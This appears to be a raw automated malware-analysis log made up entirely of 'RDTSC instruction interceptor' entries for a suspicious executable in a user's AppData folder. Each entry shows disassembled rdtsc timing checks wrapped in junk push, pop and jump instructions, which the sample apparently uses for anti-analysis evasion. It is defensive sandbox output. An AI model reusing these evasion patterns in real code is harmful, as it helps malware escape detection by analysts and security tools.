Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C1EB7 second address: 5C1ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FBC912593FAh 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C2445 second address: 5C244C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C244C second address: 5C2451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C2451 second address: 5C2457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C7F56 second address: 5C7F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FBC912593F6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5C7F68 second address: 5C7F7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5CAEE2 second address: 5CAEEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FBC912593F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5CB02A second address: 5CB031 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5CB311 second address: 5CB315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5CB839 second address: 5CB85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FBC9118B8B2h 0x0000000c jno 00007FBC9118B8A6h 0x00000012 popad 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2383 second address: 5D2387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2387 second address: 5D2397 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007FBC9118B8A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2397 second address: 5D23A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FBC912593F6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2616 second address: 5D261A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2D81 second address: 5D2D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D2D87 second address: 5D2D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8AEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D3090 second address: 5D309A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBC912593F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D64D1 second address: 5D64DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8AAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D64DF second address: 5D6504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC91259408h 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5D6504 second address: 5D6524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBC9118B8B7h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 521E93 second address: 521E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 521E97 second address: 521EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC9118B8B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBC9118B8ADh 0x00000012 jc 00007FBC9118B8A6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5DBB14 second address: 5DBB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 521F03 second address: 521F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5E95DF second address: 5E95E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5EC225 second address: 5EC22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5EEAC5 second address: 5EEB01 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBC912593F6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007FBC912593F8h 0x00000012 pushad 0x00000013 jmp 00007FBC912593FCh 0x00000018 jmp 00007FBC91259409h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5F910E second address: 5F911F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5F911F second address: 5F9138 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FFh 0x00000007 ja 00007FBC91259402h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5F9138 second address: 5F9153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBC9118B8A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FBC9118B8A6h 0x00000015 jne 00007FBC9118B8A6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5F9153 second address: 5F9174 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBC91259403h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FBC912593F6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5FC9B1 second address: 5FC9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5FC9BA second address: 5FC9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5FC9C0 second address: 5FC9CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBC9118B8AEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 60574E second address: 605752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 605752 second address: 60576B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007FBC9118B8A6h 0x00000012 jns 00007FBC9118B8A6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 60576B second address: 605777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FBC912593F6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 605777 second address: 60579D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBC9118B8A6h 0x00000008 jmp 00007FBC9118B8B4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FBC9118B8A6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 60438D second address: 604393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 604393 second address: 60439D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC9118B8A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 60439D second address: 6043A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6043A3 second address: 6043B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8B2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6043B9 second address: 6043F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBC91259408h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FBC912593FCh 0x00000017 jns 00007FBC912593F6h 0x0000001d pushad 0x0000001e jng 00007FBC912593F6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6043F2 second address: 6043F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6043F9 second address: 604422 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FBC912593FFh 0x0000000a jmp 00007FBC91259400h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 604422 second address: 604426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 604578 second address: 60457C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 60469C second address: 6046A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6046A1 second address: 6046D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259409h 0x00000007 pushad 0x00000008 jnp 00007FBC912593F6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jl 00007FBC91259414h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6046D2 second address: 6046D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6046D8 second address: 6046DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6046DC second address: 6046E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 604880 second address: 6048AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259402h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FBC91259400h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6048AA second address: 6048DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBC9118B8B4h 0x00000008 jbe 00007FBC9118B8A6h 0x0000000e jmp 00007FBC9118B8AAh 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6048DB second address: 6048F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FAh 0x00000007 jnc 00007FBC912593F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jno 00007FBC912593F6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6048F9 second address: 6048FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 605406 second address: 605426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBC912593F6h 0x0000000a pop esi 0x0000000b jmp 00007FBC91259402h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 609FB9 second address: 609FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 609FBD second address: 609FC9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBC912593F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61BE27 second address: 61BE2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61FD36 second address: 61FD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61FD3A second address: 61FD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61FD40 second address: 61FD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61FD46 second address: 61FD61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FBC9118B8ADh 0x00000008 jl 00007FBC9118B8A6h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 61FD61 second address: 61FD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 62DCA6 second address: 62DCB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8AFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 62DCB9 second address: 62DCBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 645CA8 second address: 645CBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8AFh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 645CBC second address: 645CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FBC912593FDh 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007FBC91259403h 0x00000019 jnp 00007FBC912593F6h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 645CF8 second address: 645CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 645CFC second address: 645D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6465FC second address: 646606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 646606 second address: 64660A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64660A second address: 64660E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64679D second address: 6467A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC912593F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64693C second address: 64695B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8B8h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64695B second address: 646961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 646961 second address: 64697F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FBC9118B8A6h 0x00000011 jmp 00007FBC9118B8ADh 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64697F second address: 646983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 649547 second address: 64954D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 6495E5 second address: 649600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FBC912593FBh 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FBC912593F6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 649600 second address: 649604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 649BAB second address: 649BB5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBC912593FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64ACD8 second address: 64ACDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64ACDC second address: 64ACEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FBC912593F6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64C45E second address: 64C464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 64C464 second address: 64C49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FBC912593F8h 0x0000000b pop edx 0x0000000c push ebx 0x0000000d push edx 0x0000000e jmp 00007FBC91259402h 0x00000013 ja 00007FBC912593F6h 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FBC912593FEh 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60BB0 second address: 4C60BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 call 00007FBC9118B8B5h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60BD5 second address: 4C60BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60BD9 second address: 4C60BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60BDF second address: 4C60C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FBC91259404h 0x00000013 add cx, A218h 0x00000018 jmp 00007FBC912593FBh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FBC91259408h 0x00000024 xor eax, 24DB0C78h 0x0000002a jmp 00007FBC912593FBh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ah, 67h 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007FBC912593FBh 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FBC91259405h 0x00000043 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60C66 second address: 4C60C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
